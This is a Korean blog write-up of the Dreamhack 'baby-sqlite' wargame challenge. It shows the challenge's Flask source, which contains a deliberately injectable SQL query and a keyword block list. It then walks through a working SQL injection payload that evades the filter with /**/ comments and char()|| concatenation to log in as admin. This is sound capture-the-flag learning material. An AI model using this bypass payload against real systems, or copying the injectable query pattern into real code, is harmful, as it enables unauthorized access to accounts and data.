[dreamhack] baby-sqlite 문제풀이
- -
[WEB] baby-sqlite 문제풀이 |
문제를 확인해보자.
로그인 서비스에서 SQL Injection을 통해 플래그를 획득하는 문제이다.
접속해보자.
입력한 계정정보를 uid/upw 파라미터 값으로 넘긴다.
존재하는 계정인지 모르겠으나 Good! 이라는 응답을 준다.
이번에는 로그인 우회의 정석 1=1을 해보자.
No Hack! 이라는 응답을 준다. 아마도 입력한 값을 필터링 하는 로직이 있는 것 같다.
소스코드를 열어서 확인해보자.
#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3
app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack
DATABASE = 'users.db'
def get_db():
top = _app_ctx_stack.top
if not hasattr(top, 'sqlite_db'):
top.sqlite_db = sqlite3.connect(DATABASE)
return top.sqlite_db
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
for x in sqli_filter:
if uid.find(x) != -1:
return 'No Hack!'
if upw.find(x) != -1:
return 'No Hack!'
if level.find(x) != -1:
return 'No Hack!'
with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()
if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except:
return 'Error!'
return 'Good!'
@app.teardown_appcontext
def close_connection(exception):
top = _app_ctx_stack.top
if hasattr(top, 'sqlite_db'):
top.sqlite_db.close()
if __name__ == '__main__':
os.system('rm -rf %s' % DATABASE)
with app.app_context():
conn = get_db()
conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
conn.commit()
app.run(host='0.0.0.0', port=8001)
소스코드를 확인해보니 필터링되는 문자열을 확인할 수 있었고,
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' '] |
입력한 계정 정보가 어떤 sql 쿼리로 수행되는지 확인할 수 있다.
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};" |
uid/upw 파라미터에서는 문자 필터링으로 싱글쿼터(') 사용이 불가능하여 where 절을 조작하는게 불가하지만,
level은 싱글쿼터(') 안에 있지 않아서 파라미터 값 전달을 통해 sql injection을 수행할 수 있다.
flag가 출력되기 위해서는 로그인 시 입력한 계정정보를 이용해 sql 쿼리를 날리고,
조회된 첫번째 uid가 admin이면 flag를 출력한다.
select 시 uid 컬럼 값만을 가져오기 때문에 union 을 이용해 union에 admin을 입력하면 된다.
하지만 admin 문자열은 필터링 대상이고 쉼표(,)와 싱글쿼터(') 그리고 더하기(+) 등이 필터링되기 때문에
문자열을 이어붙이는게 불가능하다.
하지만 sqlite의 특징 중에서 '||' 가 문자열을 더해주는 기능을 수행하기 때문에 이를 이용하면 admin을 출력할 수 있다.
공격 구문은 다음과 같다.
uid=test&upw=test&level=1/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110)) |
/**/는 공백 문자열 우회를 위해 사용했고, char(97)||char(100)||char(109)||char(105)||char(110) 로
문자열 admin을 만들 수 있다. 그럼 해당 페이로드를 이용해 로그인을 시도해보자.
flag가 출력됐다.
문제풀이 끗
'워게임 > dreamhack' 카테고리의 다른 글
[Dreamhack Web - Lv 1] Tomcat Manager (0) | 2021.11.24 |
---|---|
[Dreamhack Web - Lv 1] mongoboard (0) | 2021.11.10 |
[dreamhack] rev-basic-7 문제풀이 (0) | 2021.09.30 |
[dreamhack] rev-basic-6 문제풀이 (0) | 2021.09.30 |
[dreamhack] rev-basic-5 문제풀이 (0) | 2021.09.16 |